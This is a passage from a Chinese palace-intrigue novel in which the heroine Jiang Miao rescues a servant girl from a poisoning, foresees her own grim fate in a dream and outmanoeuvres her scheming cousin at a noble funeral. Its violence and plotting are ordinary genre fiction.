安乐蹙眉沉吟,赵嬷嬷言之有理。她必须行事更加谨慎,绝不能再出纰漏。
与此同时,佳贵妃的寝殿内。
彩月压低声音在佳贵妃耳边轻声禀报:“娘娘,底下人来报,殿下他派人快马去了南靖?”
“什么?”佳贵妃登时从软榻上起身,一双明眸中尽是怒色。
她前脚才和这个逆子讲完大道理。他后脚便派人去了南靖?
看来南靖那个“狐狸精”可是不简单!
竟然将一个皇子迷得没了分寸?!
早知如此!她便不该心软!
“不识抬举的东西!”她手执佛珠在掌心转了一转,冷冷道:“既然陵王下不了决心,那本宫就帮他一把。你火速安排人跟上,见到那个狐媚子,杀了她。”
彩月犹豫着,轻轻开口:“娘娘,这会不会引得殿下与您离心?”
佳贵妃换了个姿势重新倚靠在软榻上,声音已然变得懒懒的,听不出喜怒:“他终究会明白,本宫是为了他好。”
21.送回
江渺在外院并没有等多久,一阵清脆的敲门声便响了起来。
婆子前去开门,江渺远远便瞧着一个和前川穿着一样衣束的男子站在门口。
想来这便是前川刚刚说起的三千。江渺疾步走过去,对方一见她,先是好奇地打量了她一眼,随即躬身下去行礼:“江小姐,人带回来了。”
江渺头探出门外朝左右看看,有些担心马车过来得太过招摇。
三千见状,立刻会意地低声道:“主子吩咐过不可惊扰他人,江小姐尽请放心。”
放心放心。没想到南宫煜这么个沙场将军还能心细如发。
倒也是,打仗可不是闹着玩,不心细怎么行?
江渺心里嘀咕几句,随即点点头,三千转身将人从车厢里扶了出来。
少女还是提灯节上江渺将她接回来的模样,连她为她准备的衣服也没有更换。
怕是醒来之后就着急着出门,什么也顾不得了。眼下她双眸紧闭,眉间隐隐全是痛苦之色。
“这,怎么晕了……?”
三千无奈道:“这姑娘身手不错,我们怕伤着她,情急之下,只能先将她打晕带回来了。”
好吧。
江渺立即将人引入内室。她仔细检查女子身上,并没有新增伤痕。想来应该是跑了一半就被三千他们追回来了。
正低低松了一口气,一回头,却见三千眼神复杂地正看着她,那目光里带着几分探究,几分不解。
江渺疑惑地低下头看了一眼自己的裙摆:“我身上有什么脏东西吗?”
三千猛地回过神,意识到自己的行为问题,慌忙垂首:“属下失礼。”
他哪儿敢说,还不是前川那小子天天在齐连营里念叨,说主子怕不是给他们找了位王妃,惹得他们这些人都心生好奇。今日得见,他却觉得十分疑惑。
眼前的少女身形娇小,眉眼尚未完全长开,脸上还带着几分未褪的稚气,虽举止从容。
可比起北郡的那些各具风情的“蜂儿蝶儿”,又实在看不出有何特别之处。
主子面对昆都第一美女颜落都无动于衷,怎么会对这位连他都耳闻过几分恶名的侯府养女上心?
难道主子好这个?
想了又想也没想通,怕再看下去又会露出破绽,总觉得眼前的女子不是那么简单。只得低下头去告退。
江渺没心情管他心里的弯弯绕绕,她全部的注意力集中在女子脖子后带点青灰色的印记上。
果然如此!
真的和她猜测一般无二,这姑娘身上也有幽霜石的痕迹。
印记藏在头发下一指的位置,不细看完全看不出来。当初她虽然也检查过碧心的尸体,却着实没有想到世间有如此厉害的杀人工具。
她不敢再耽误,恐会生变。遂快速的打开药箱,按照梧桐所言,将早已准备好的蒲草粉撒在印记处。不过眨眼的时间便看到薄薄的一层药粉上出现明显的三个圆圈。
江渺取出镊子小心翼翼地将幽霜石从女子身上取出后,又为她敷上草药,眼见着那青灰的印记淡去,她的心才稍稍落回了实处。
“姑娘,你还好吗?”
江渺轻唤睫毛微微颤动着的女子,见着她悠悠转醒,又在看见她的脸的时候眸光中闪出几分不可置信。
“是你把我带回来的?!”
她明明差一点就要到那里了,怎么又回到了这个地方!!
面对她的怒气,江渺也不生气,她将三根幽霜石针摆在女子面前,慢慢道:“是,是我。你问我为什么要把你带回来……。”
江渺紧紧地盯着她快要溢出火焰的双眸,沉吟片刻后才道:“大约是为了你姐姐吧!”
姐姐?!
女子眸中怒火与不甘化成震惊和疑惑:“你是谁?”
“别怕。我不会伤害你。我也没办法向你解释我为什么知道你姐姐。”
江渺想起那个在牢笼里受尽折磨却依旧不肯低头,又在看到妹妹头颅后气绝身亡的女子,心神微动:“但是你姐姐拼死送你出来,就是希望你可以自由,幸福。她绝不希望看到你刚和脱离虎口,就这么回去白白送死!”
这句话像最后一根稻草,压垮了女子强撑的意志。
她全身的力量仿佛瞬间被抽空,顺着墙壁滑坐在地,将脸深深埋进掌心,任凭泪水从指缝间漏出:“姐姐……姐姐她……。”
江渺心头一酸,上前抱住她,像是抱住了破碎的自己:“我知道,我知道……。”
她在山里的时候,也曾经有一个姐姐。她们都是孤儿,相依为命。可惜她没有那么幸运,她的那个姐姐为了一个收养的名额,将她从半山腰推下,险些摔死。
“哭出来吧。”江渺拍拍她的背。
不知过了有多久,女子终于整理好了情绪,她抹去脸上的泪痕,无比真诚地对江渺谢道:“多谢小姐救命之恩。奴婢云杉,还请小姐告知尊名,此生必当结草衔环以报!”
终于等到这句话了!
“云杉。”她唤道,语气变得郑重其事,“我叫江渺。长阳侯府,是我的家。我现在给你两条路。”
她伸出第一根手指,目光清亮:“第一条,留在我身边。我需要你忠诚于我,保护我。当然我也会为你改头换面,让旁人认不出你。作为交换,我承诺会尽全力调查并营救你的姐姐。但这条路布满荆棘,甚至可能比你之前的遭遇更加危险。”
接着,她伸出第二根手指,语气平和却真诚:“第二条,我赠你银钱,为你安排一个稳妥的去处。你可以远离昌都这是非之地,隐姓埋名,安稳度日。这也是你姐姐拼死为你换来的自由,你有权利选择它。”
云杉沉吟了一下,立时以头磕地,语气决绝:“小姐,没有您,奴婢早就死了。奴婢愿意跟着你,效犬马之劳。”
她目光微闪,又是重重的一磕:“至于姐姐……,姐姐之事太过危险,奴婢,奴婢不愿意小姐为了奴婢去涉险!”
江渺将她扶起来:“没关系,云杉。你将你知道的都告诉我,我自有衡量。既要救人,便要寻一个万全之策,绝不让大家涉险。”
云杉点头。
江渺从药箱中拿出一包药粉交给她,嘱咐了其用法以后,又告知她留在外院好好养伤,三日后来接她,便回了侯府。
江渺先睡了一觉。
这一觉,又让她梦到了陵王。
还是那张脸,那张因为恨意而狰狞的脸在不断地在瞳孔里放大。
看着他一刀刀将原主的肌肤划开,鲜血滴滴答答的落在她的脚边。
那种疼痛,就仿佛这一刀刀都切割在她身上一般。
她明明死了。
死了怎么会觉得疼。
随后画面惊变。
她跟着原主从牢中一路狂奔出来,转眼就来到了挂满红绸的房间。
那里,静静地坐着谁。
江渺想要开口,又想起自己的声音谁也听不见,转瞬便看到鲜血染红了嫁衣。
她觉得好恶心,恶心得想吐。
还没等她吐出来,画面再一转,陵王又穿着喜服满面红光的走了进来。
床边的女子听到声音,笑着
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揭开盖头,露出一张与地牢中的陵王同样狰狞的脸。
她将手中捧着的东西往前一推,烛光下,那是一颗血淋淋的心脏,鲜血顺着指缝啪嗒啪嗒地滴落,像是绽开了一朵朵红色梅花。
疯子!
江渺又是一身冷汗的被惊醒。
睡意全无,灵台顿时清明。
所以是这样吗?
陵王和林清月相爱,原主嫉恨不已,一无所有的她,在大婚之日杀了林清月,剜出了她的心,然后替她上了花轿。
随后被陵王虐杀,砍断四肢,挂到城墙,结束了自己凄惨而悲凉的一生么。
她有些茫然地看着空无一物的手心,整个心神还没有从那嗜血的画面中走出来。
纵然她已经见过太多血腥的场面,原主那疯狂的举动还是让她胃里翻江倒海。
看来,如果要翻盘,这辈子她得洗白自己,谨守本分,主动撮合林清月和陵王。日夜祈祷两人情比金坚,琴瑟和鸣,儿孙满堂。那么她定能够逃离这惨死的命运。
也不知道杨安石还好吗?
她得尽快想个办法才行。
“小姐,您醒了吗?”阿洛的声音从屏风外轻轻传来。
江渺披着衣服坐起身,光影在纱帘上印出一片疏影横斜。她揉揉眉心,才哑声应道:“醒了,进来吧。”
阿洛轻手轻脚地饶过屏风,见她满脸疲惫便刻意地轻声说道:“安国公府的钱老夫人薨了。”
安国公府?
江渺拢起衣衫,伸手接过阿洛递过来地热茶,抿了一口,润了润干涩的喉咙。
原主的记忆里,并没有什么关于安国公府的内容。
隐约记得安国公是两朝的老臣,也是当今圣上的教学师傅。
钱老夫人与佳贵妃母家关系非常,她的丧仪,只怕是半个昌都的权贵都要前去吊唁。
正在思付间,外间又传来细碎的脚步声,阿洛开门一看,是微云过来了。
“小姐安。”微云福了一礼,“夫人让奴婢来问一声,安国公府的钱老夫人过身了,后日一早府里都要去吊唁。只是夫人念着您近日辛苦,又想着过几日宫里要派嬷嬷来教导礼仪最是耗费心神,便遣奴婢来问问,您若身子乏,不去也使得。咱们府上和安国公府走动不多,不算失礼。”
江渺问微云:“璟儿姐姐,灵儿妹妹一起去吗?”
微云答:“要。”
江渺没想到打瞌睡,居然就有人递枕头过来了。
去,那当然要去了。
*
入夜,渐微凉。
寝殿内的空气中氤氲着淡淡的水汽,时不时传来几缕清苦的药香。
南宫煜披着墨色寝衣从屏风后转出来,潮湿的发梢还在滴水,他却浑然不觉,径直走向窗边那柄孤悬的长枪。
月光如水,静静流淌在冰冷的枪身上。
他抬手抚过枪缨,那上面还沾着数月前战场上带来的尘沙。
自从服用江渺送来的药丸后,这几日越发觉得身子轻快起来,就连束手无策的温言也欣喜地告诉他,他体内的毒素有控制住的迹象。
不可置信。真不可置信!
南宫煜的指尖顺着枪身的纹路缓缓下滑,那些在几个月前就觉得有些麻木的手臂,如今仿佛久旱逢甘霖。
他试着做了一个突刺的动作,夜风掠过指尖,带着久违的凌厉。
“王爷。”前川的声音在门外响起,“梧桐求见。”
南宫煜眼中的厉色一闪而过,他收起长枪,立身站在一片冰冷的月色中,道:“进来。”
22.求我
不过两日未见,江璟儿看起来骤然憔悴了许多。
往日那份温婉柔顺几乎在脸上挂不住,眼底的乌青也比前几日看起来深重了些。
“璟儿姐姐。灵儿妹妹。”江渺缓步走过来向两人见礼。
江灵儿倒是与往常一般无异,拉着江渺叽叽喳喳说着画本子上的故事,又抱怨起因为柳家表哥要来,她也被逼着不能出门的无奈。
江渺含笑听着,眼光却若有若无地扫过身旁低头沉默不语的江璟儿。
自从那日因着丢了亡母遗物而和江渺短暂交锋以后,江璟儿就像销声匿迹了一般,托词大病未愈,将自己关在院子里静足不出户。
也不知道她是不是真吸取了教训,有没有明白今日江渺已非昔日的原主,不可能还任由她玩弄于股掌之间。
要是她之后安分守己,江渺可以不计前嫌,不与她计较。
她那点心思,江渺太懂。
一个养女都能享有的尊荣,她正儿八经的江家血脉凭什么低她一等?
想要的要自己去争取,这是没错的。
但是,争取并不意味着可以不择手段。
如果为了自己的利益不惜伤害他人,残害无辜,那这样的人和恶鬼有什么区别?
江渺最讨厌恶鬼。
做错了的,终究会为此付出代价。
原主是,江璟儿亦是。
感受到江渺那仿佛能够穿透人心的目光,江璟儿后知后觉地抬起头来。
她望着江渺的脸,难得地,没有再端起那副言笑晏晏的面具。
她今日确实笑不出来。
心底仿佛有一个冰冷的声音在反复的嘲弄她:从万安寺回来后,几次了?已经几次了?她自以为谋划周全,可最后呢?哪一次不是灰头土脸的败下阵来?
桩桩件件,计划没有一次顺利!江渺就像是突然开了天眼,总能轻易避开陷阱,甚至反过来将她逼入更尴尬的境地。
连江灵儿现在也对她心生隔阂。
还有阳原,阳原那个偏远的寒冷之地,她才不要去!
可,这些挫败加起来,都比不上前日安乐郡主的人送来的消息,如同惊雷,震得她心神具碎。
那个早已失踪十几年的,真正的侯府千金,竟然还活着!
她一直探究偏院的秘密,却没有想到里边竟藏着的是有关于真千金的下落。
那日,如果江渺真让她搜查院子,捅出了这个秘密,如今侯府是何等景象?
怕是人仰马翻,所有人的目光都会聚焦在那位流落在外的真凤凰身上,哪里还有她与江渺争锋的余地?
一时间心绪复杂无比,像打翻了五味瓶,说不清是后怕还是别的什么。
江渺为什么没有告诉柳如云夫妇他们的女儿还活着?
为何要将这至关重要的线索偷偷藏起来,守得如铁桶一般?
思绪百转千回,一个念头渐渐清晰,带着几分扭曲的快意浮上心头:
她江渺,也不过如此吧。
与她又有什么区别?侯爷和夫人对她如此之好,她却要让他们骨肉分离……
想到这里,江璟儿突然觉得压 在胸口的巨石落了地,竟然莫名地想笑。
“呵……”讥诮的冷笑从喉间溢出,江璟儿终于从翻涌的思绪中回过神来,抬眸看向江渺:“问渺妹妹安。”
她忽地侧过头,对一旁尚在叽叽喳喳的江灵儿柔声道:“妹妹,我的披风方才好像忘在茶桌旁了,风吹着有些凉,你去给我取来好吗?”
江渺瞬间会意,江璟儿这是要支开江灵儿。
江灵儿明显不想走,她下意识地抓紧了江渺的衣袖,眼睛里带着显而易见的担忧。
几日前姐姐欺负渺姐姐的画面还在眼前,她实在不敢让她们独处,心怕两人之间又闹出什么矛盾。
姐姐很好,渺姐姐也很好。既然都很好,那为什么不一直好下去?
江渺轻轻拍了拍她的手背,柔声道:“去吧,我和璟儿姐姐就在这里说说话,等你回来。”
江灵儿这才一步三回头,不情不愿地朝着涵清阁走去。
待江灵儿的身影消失在月洞门外,周遭的空气仿佛瞬间凝滞,只剩下风吹过竹叶的沙沙声。
江渺开门见山,直接问道“璟儿姐姐是有什么话想单独与我说?不妨直言罢。”
江璟儿本还习惯性地想维持一下表面功夫,迂回几句,见她如此直白,索性也不装了,嗤笑一声:“妹妹何必在这里揣着明白装糊涂?你我之间,还有演戏的必要吗?”
“姐姐这话说的,”
江渺也想不出她有什么好和江璟儿演戏的地方,论演戏,难道一直不是她江璟儿最会演吗?
人在无语时,便会想笑:“妹妹愚钝,实在不懂姐姐在指什么。”
“不懂?”
江璟儿上前一步,语气里带着几分得意与挑衅:“那我便说得再明白些,妹妹你,想必也不希望那位真正的千金回来吧?否则,你为何要将那关乎她下落的线索,死死藏在偏院,不敢让叔父,婶母知晓呢?说什么制药?真是可笑!”
她紧紧盯着江渺的眼睛,不放过她脸上任何一丝细微的变化,试图从中找到慌乱或心虚。
“一旦她回来了,你这养女还有在这侯府生存下去的地位吗?什么宠爱,什么体面,甚至……你那一心想要嫁进去的王府,恐怕都要烟消云散了吧!”
“事到如今,端着什么架子,装什么矜持?不如求求我?”
“求求我,我便不把你的秘密捅出去。哈哈……”
江璟儿说着说着,就抑制不住低笑出声。
她太想看了,太想看看江渺那张自以为是目中无人的脸上出现震惊,慌乱,摇尾乞怜的表情了!
她要看着她怎么向自己苦苦哀求,怎么样求自己不要将这个秘密宣之于口!
然而,预想中的惊慌并未出现。
江渺甚至连睫毛都未曾颤动一下。她只是静静地看着江璟儿,那目光平静得近乎悲悯,仿佛在看一个蹩脚戏子上蹿下跳的拙劣表演。
等到江璟儿那带着回音的笑声在廊下渐渐消散,江渺才微微偏了下头,唇角微微勾起一抹几淡的笑:“说完了?”
她的语气平静得像是在说今日是否用膳,天气如何一般。
江璟儿脸上的笑意刹那间变成诧异。
“好啊。你都知道了。那你去告诉父亲母亲吧?”
江渺正求之不得。
她连日为柳如云调理身体,又将她屋子里的香换成了药香。
如今身子已经安好,胎像稳固。她不再害怕林清月的事情刺激到她,只是她答应过父亲不提这件事情。
她想等林清月找到以后,再告诉父母这个好消息。
江璟儿想说就去说吧。不过……
江渺不等江璟儿从震惊中回神,慢悠悠说道:“不过,母亲当年产后体弱,缠绵病榻,以至于后来迟迟不曾有孕。这些年来,所有人都以为是生产伤了根基。可若,不仅仅是如此呢?”
江璟儿的脸上瞬间煞白。
她还没有来得及张嘴,不远处柳如云就在微云的服侍下,缓步走了过来。
柳如云笑容浅浅,如今身子没有那么疲乏后,心情都好了许多。
还是多亏了女儿日日送来的药丸,不知不觉看着江渺的眼神也越发慈爱:
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“远远就瞧见你们姐妹俩站在这儿。怎么站在风口里说话?仔细着了凉。灵儿那丫头呢?还没来吗?”
江璟儿的心瞬间提到了嗓子眼,全身的血肉都凝固在了一起,目光恐惧地看向江渺,心怕下一秒江渺就把一切捅到柳如云面前。
她不知道江渺到底知道了多少,但是她那笃信的神情,不着痕迹的说辞,像是烙铁,烫的她浑身战栗。
不行,不能,不可以!
她握紧了拳头,脑中飞快地想着说辞。
江渺根本懒得与她纠缠,不动声色地隔开她与柳如云的视线,笑着伸手扶过母亲:“母亲!”
她语气中带着几分娇嗔,仿若刚刚的一切从未发生:“您才该仔细身子,别吹着风了。您若是着了凉,女儿可是要心疼的。”
“更要小心,别让咱们家的弟弟妹妹着了凉才是。”
“你啊!”柳如云先是一怔,随即失笑。
脸上泛起一丝不易察觉的红晕,她轻轻点了点江渺的额头,语气是十足的亲昵与受用,“这孩子,整日里胡说些什么……”
江璟儿听着,浑身如坠冰窖。
她知道,她应该什么都知道!
“婶母,渺姐姐,姐姐,久等了。”江灵儿取着披风小跑过来,脸颊红扑扑的,全然没有察觉到姐姐脸上的神色变幻,乖巧地将披风递给江璟儿。
“好了,出发吧。误了时辰可不好。”柳如云见人来齐便向外走。
上了马车,熏香袅袅。
一路上柳如云仔细地交代几人安国公府的吊唁非同寻常,贵妃届时也会亲自前往国公府,嘱咐三人要谨言慎行,不可行差踏错。
几人点头应下。
忽而柳如云又像是想起了什么,突然开口:“对了,你们的舅母捎来信,说是若微那孩子在来昌都的路上染了风寒,病倒了。怕是要耽搁些时日,不能如期到了。”
说完,她轻轻叹口气,有点遗憾没有不能快点见到自己娘家的人。
“啊,若微妹妹病了?严重吗?”江灵儿先出声问道。
柳如云摇摇头,只道信中没有详说。
要耽搁行程,怕是病的不轻。想到这儿,柳如云忽的抬头看向一直沉默寡言的江璟儿。
自从上了马车后,她便觉得江璟儿有些异常,脸色也不好看。柳如云知道前两日江璟儿病了,她心里多少明白她怕是不愿意嫁到阳原去。
可前几日江伯玉回来低低叹气,说是禹王听说侯府有位千金知书达理,美名在外,想要相看一二……。
那老东西!也不看看自己多大年纪,论辈分都能当璟儿的祖父了!府里姬妾早已成群,儿孙都快比璟儿年长,如今还打着个十七岁小姑娘的主意,真是……忒不要脸!
虽说她是个深宅妇人也知道禹王府不是个好去处。璟儿这般身份,也很难在昌都相个豪门显贵的人家。
正在此关头,柳如云收到娘家来信,直言希望她能够帮二房家的柳州侄儿相看一个合适的姑娘。
再过一年柳州便要来昌都考试,有个熟悉昌都的女子做妻子最为合适不过。
那柳家如今确不如从前,但婆母是自家姑母,总能看顾一二。
柳州虽然个庶子,但也是她小时看顾过的孩子,又是个正经读书人,未来总有指望。
江伯玉也觉得这门亲事不错,江璟儿却不满意,她有何不满意的?
放眼整个高门,哪个主母要去过问旁支女儿的婚事?
若没她可怜她无依无靠,那她真被那禹王收了,才是真的痛苦。
想到这里,柳如云的脸色也一沉,不快道:“璟儿,你脸色不太好,是身子还不爽利么?”
23.整治
江璟儿正心似鼓擂一般,突然被柳如云问道,怔了几秒才蓦地醒过来,摇着头否认:“没……没有。”
“那怎地看起来脸色不太好?”
江璟儿下意识地瞄了一眼江渺,见她含着笑看她,背上已经是一层冷汗,还是强装着镇定解释:“劳婶母挂心了。就是那日淋了点雨,受了点惊,有些心神不宁……。”
她这话说得没有条理,江灵儿都疑惑地望了她一眼。
柳如云正想说点什么,马车就到了国公府门前,她眼神复杂地看了一眼江璟儿,终究什么也没说。
“长阳侯府夫人携大小姐,璟儿小姐,灵儿小姐到!”门房刻意压低了中气十足的声音向内唱诺。
“郡主,江小姐来了。”赵嬷嬷顺着声音示意安乐,安乐也看过去。
这一看,就让她恍了恍神。
江渺今日穿着一条月白的长裙,未施粉黛,发间仅仅簪着一朵白花,更显得清丽脱俗。
从前她总是嘲笑她每日打扮得花枝招展,庸俗不堪。
更是在今日早早来了国公府,等着看这个草包是怎么样引人嘲笑。
她连嘲讽的话都想好了几套,如今却像是打在了棉花上,无处发泄,憋的胸口闷痛。
哼。
她别开目光,兀自走开。
柳如云带着女儿进了内堂,按照礼节制与安国公夫人姜珠及其子女一一见礼。
正在说着,烈国公的夫人钱玉芝姗姗到来,她身后跟着小女儿赵婉欣。
赵婉欣和江璟儿交好,一进门便看见了她的身影,可是碍着礼节,不能越过母亲过去,便悄悄给江璟儿挥手。
可是江璟儿却像是有心事,并未向往常一般看过来。
江渺倒是先注意到了赵婉欣的动作,礼貌性地向她点点头。
“哼……。”赵婉欣冷哼一声,撇过头去。
看样子赵婉欣并不待见原主呢。江渺笑笑,侧过头去和江灵儿说话,也不再看她。
等到几人寒暄完了,赵婉欣迫不及待地走过去挽起江璟儿的胳膊,压低声音说:“璟儿姐姐,我好想你哦。你最近怎么也没来找我玩了,上次你给我绣的荷包,我家那些个妹妹们看见,嫉妒死了。”
她喃喃说了半天,江璟儿才从自己的思绪中回神,一抬头看见赵婉欣天真无邪的脸,突然有了一个主意。
“哎……”她叹了一声,下意识地去瞥江渺。
这一眼赵婉欣看在眼里,叹息也听在耳中,她拉着她往外走,忿忿不平道:“她又欺负你了?”
江璟儿拉了拉赵婉欣的衣袖,示意她小声些。
“今天是国公府老太太祭奠的日子,别说这些。”
赵婉欣不依不饶:“她不过是个养女,在外面作威作福也就算了,欺负自家姐妹算什么东西?姐姐,你给我说说她怎么欺负你了,我给我爹说,让他告到陛下面前去,让你家叔父给你做主。”
她说得激动,声音不自觉地提高,忽的引得左右人纷纷看过来,好在已经出了前厅,并未有多少人听到。
赵婉欣看着江璟儿唯唯诺诺,谨小慎微的样子更是怒从中来,伸手抓着江璟儿的胳膊要将她带去花厅找父亲。
江璟儿挥挥手要拒绝,两人拉扯间,江璟儿猛地一缩胳膊,“嘶”了一声。
“璟儿姐姐,你怎么了?”
江璟儿也有些奇怪,拉开衣袖,这才发觉刚刚两人拉扯时,手腕的镯子连接处的金丝,不知怎的翘了起来,正好在之前淤青的地方添上了一道划痕。
“哎呀,出血了,都怪我。”
赵婉欣一眼瞥见,顿时慌了神,急急地拿手帕去按压,又看到伤痕下的青紫色,勃然大怒:“璟儿姐姐,这,这是她弄得对吗?!真是气死了!她竟敢打你?还有没有王法了?”
江璟儿慌张将衣袖放下来,欲言又止:“婉欣妹妹,别……别声张,不是你想的那样……。”
“璟儿姐姐!你怕她我可不怕她!”赵婉欣声音高扬起来。
“好妹妹!算姐姐求你了,今日千万别闹事!这可是国公爷家的大事,且贵妃娘娘也要亲临,若是冲撞了……,怕你我都担待不起啊。”
江璟儿低声劝着,不时眼睫还挂上泪珠,谁见了都要心生怜惜。
璟儿姐姐何时这般模样过?她越是委曲求全,越激起了赵婉欣的保护欲。
“璟儿姐姐你性子就是太软和,才由得那个养女欺负你。这口气,咱不能咽下去。必须要给她点颜色看看才行!”
赵婉欣咬着牙,眼珠子一转就有了主意。
江灵儿贪吃,江渺和她出了前厅,她便跟着一群年纪相仿的姐妹去了点心长案前,很快便投入其中。
江渺落了单,正和她意。
昨天一天,梧桐将已经将安国公府的大致分布一一画了简图告诉了她。
还得多亏了南宫煜帮忙,不然这件事情还不容易办成。
现下她必须要先找到“张真人”歇息的院落。
“你帮我去留意佳贵妃娘娘车驾的消息,估摸着她要到来之前,速来告诉我一声。”江渺转过头对阿洛道,阿洛没有质疑,很快便去探听消息。
江渺则找了个安国公府的丫鬟,借口赏花,跟着她瞎转悠期间打听消息。
这才刚转过一道爬满藤萝的曲折长廊,迎面便撞上了联袂而来的江璟儿和赵婉欣。
江璟儿看见江渺独自一人有几分诧异,随即受惊一般迅速低头,手下意识的拉了一下衣袖。
这个动作在赵婉欣看来便是江璟儿怕极了江渺,刚刚才压下去的怒火又蹭地燃烧起来,先发难怒喝道:“江渺,你不过一个养女而已,仗着江伯父的几分宠爱便作威作福,竟然处处欺负璟儿姐姐,我告诉你,有我在,你休想再动她一根汗毛!”
江渺脚步一顿,“你说我欺负她?”她目光扫过赵婉欣直接落在江璟儿脸上,反问:“我欺负你?”
江璟儿下意识地往后缩了一下,赵婉欣便快速地将她护在身后:“你想做什么?”
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江渺冷笑。
她本不想在今日和她计较,可江璟儿晨起就开始惹她的晦气。她已经敲打过了她,她还要惹事生非!
真是装也不装了?
江渺瞥了一眼两人,侧身就要走开,赵婉欣不依不饶:“你别走,给璟儿姐姐道歉!”
“婉欣妹妹……”江璟儿拉拉赵婉欣的袖子,“没事的。别闹事。”
忍无可忍,无需再忍。
江渺最讨厌别人装了。
赵婉欣正要伸手拉住江渺,突然感觉身形不稳,一个踉跄就要向前栽,再一回神便看见江璟儿身子如同一叶扁舟一般摔落在地。
“你……你……你!!”赵婉欣气急,她看到了,江渺给了她的璟儿姐姐一脚!丫鬟将她扶着,她指着江渺,气得哆嗦:“你竟然打人!当着我的面你就打人?!!”
江渺拍拍身上的灰:“赵小姐,饭可以乱吃,话不可以乱说。你怎么能够空口污蔑我呢?”
“我看到你踹了璟儿姐姐!”赵婉欣将江璟儿扶起来,见她脸上还挂着泪,几乎就快要把江渺吃掉:“你给璟儿姐姐道歉!!”
“哦?”江渺动了动,抬了抬脚。
刚刚爬起来的江璟儿拉住赵婉欣,就她说了让她道歉,她才挨了一脚。还说,保不准还得挨一脚,她下意识地往后退了一步。
江渺虚张声势地收回脚,笑道:“赵小姐说的哪里话,明明就是璟儿姐姐她自己没站稳摔了,怎么还怨我了?”
“啊?”赵婉欣和她的丫鬟婆子们目瞪口呆。
怎么有人众目睽睽之下,还能谎话连篇?
“你!”
赵婉欣还要理论。江璟儿拦住了她,她算是看出来了,江渺就是个疯子。
反正今天她就要送她去见阎王,闹大了这事露了马脚还不好。
江璟儿咽下这口气,拉着赵婉欣离她远远的:“算了妹妹,就当是我自己摔了吧。今日实在不必要为了我们这点小事惊动了大家。走吧。”
赵婉欣显然还不解气,“璟儿姐姐,当着我的面她都敢打你,那你在府里怎么过?”
江璟儿摇摇头,泪水很快就在眼眶里打转,整个人愈发楚楚可怜,“我知道婉欣妹妹是为我好。你的心意,姐姐都记在心里。可……可现在能让我先换件干净的衣裙吗?”
赵婉欣看她这副模样,又见江渺头也不回、全然不把她们放在眼里的离去背影,心中虽有不甘,却也只得无奈听从:“行,我陪你去。”
两人一同跟着安国公府的小丫鬟前往供女客更衣的厢房。
江璟儿换好衣裳出来,脸上依旧愁眉不展,郁郁寡欢,坐在镜前,看着手臂上的伤,眼神晦暗不明。
赵婉欣知道她心里烦闷,看着好友如此受委屈,自己却没能立刻帮她出气,原本还不打算提前告诉她的小计划,此刻便忍不住说了出来。
她凑近江璟儿,低声在她耳边道:“璟儿姐姐,你就别愁了。我想好法子整治她了。等会儿你就等着看好戏吧!”
24.绝路
赵嬷嬷低头在安乐耳边,用气音飞快地说了几句。
安乐原本有些烦躁的脸色,忽地一愣,疑惑地抬起眼:“当真?”
“环儿亲眼所见,做不得假。”
“她真打了江璟儿?”
“对。”
安乐没想到江渺居然有如此出息,敢在国公府的丧宴上动手,一点都不顾及自己的名声。
如此刁蛮任性,也不知姑母怎么想的。
赵嬷嬷压低声音道:“我们的人看见赵家的婉欣小姐和江璟儿小姐进了厢房,两个人出来以后便和自家丫鬟分开了……”
想了想又道:“老奴觉得,这其中怕是有什么勾当!要不,老奴去查一查?”
安乐的眼睛亮了起来,烦躁的心情一扫而空,真是瞌睡来了,有人送枕头!
她思考了一下:“不用打草惊蛇,跟着她们就行。合适的时候让我们的人,帮一帮她!”
安乐笑起来,转而又想起陵王哥哥等会也要来丧仪,忽的问:“江渺那贱人呢?”
“我们的人跟着一起去西边了。”
“西边?她去那种地方做什么?”安乐蹙了蹙眉,那边多是客院和祠堂所在,僻静得很。
“心中虽然掠过一丝疑虑,但很快作罢:“没事,只要不是去拦陵王哥哥的车驾,随她折腾。让人跟着就行!”
“是,老奴明白。”赵嬷嬷会意,立刻转身去安排。
“等等!”
*
前川将江大小姐踹人的消息传回睿王府。
主子让他保护江小姐,凭他对她的认识,他觉得江小姐也不必让人保护吧。
南宫煜皱了皱眉头,放下手上的案宗,想起了前夜梧桐所言。
他似乎突然懂了江渺要做什么,猛地站起身来,“走,我们也去看看热闹。”
“主子,您不是说今日要去常州,所以推了国公府的吊唁之请么?”身旁的三千看着桌上还未干的墨迹,喊出一句。
前川白他一眼。
懂不懂啊?主子这是要去保护王妃!
南宫煜没看见他俩的眼神往来,挥挥手,“不急,好戏登台,咱们也去看看再来。”
*
江渺正根据脑海中的地图,快步穿过一处树影婆娑的幽深曲径。
据方才带路的小丫鬟无意透露,张真人做法后每隔一个时辰,便会在国公府专备的厢房内静息片刻。
那厢房在内院西侧,毗邻家祠堂。
素日里来往的人就不多,如今国公府的丫鬟婆子家丁们都忙着前头招待往来贵客,这边更是冷冷清清,一片寂静。
四下只闻得风吹竹叶的沙沙声,以及远处隐约飘来的哀乐。
这光景,正好符合江渺的心意,是个便宜行事的好去处。
就是,总有一些不识趣的苍蝇,非要惹人清净。
她早就发现了有人跟踪,但是不动声色的让他跟着。不然她欺负娇弱堂姐的好戏怎么传遍整个昌都。
并非她毫不在意名声,而是她需要用这个名声,为林清月与陵王的婚事铺路。
她记得,上一世林清月回府后,佳贵妃还是属意她这个养女,因此曾多次反对陵王求娶林清月的要求。
若非后来原主恶行暴露,被陛下下旨收入大狱,恐怕贵妃还会继续阻拦婚事。
这辈子,她总不能也用下大狱来成全他们吧?
江渺想着,闲闲散步着得身形猛地一闪,脚步加快朝前,不过须臾之间,她的身子便闪入了一处假山的缝隙之中。
跟踪者见她突然提速消失,心中一急,连忙跟上。
假山内路径曲折,光影昏暗,不过转了两个弯,便已失了江渺的踪迹,只觉四周石影幢幢,寂静得有些诡异。
他正凝神四顾,忽然听闻头顶传来簌簌轻响声,下意识地抬头却什么也没看见。
正在疑惑之间,颈侧骤然一麻,整个人便飘飘然地落在了冰冷的山石上。
江渺得意地将银针收回怀中,将人拖拉至假山中的黑暗处,免得被人发现。
做完这一切,她拍了拍手,疾步朝不远处的小院走过去。
*
安国公府内,白幡低垂,香火缭绕。
为钱老夫人操持的庄严法事持续了整宿,晨光熹微时方告一段落。
主持法事的张真人歇息了不过一个时辰,又急急赶来准备下一场法事,眼瞅着贵妃今日也要亲临,要准备的事情太多,他必须亲自盯着才行。
因而到了午后,已是元气大伤,精神萎顿。他婉拒了管事邀请前去用些茶点的好意,独自一人返回到厢房。
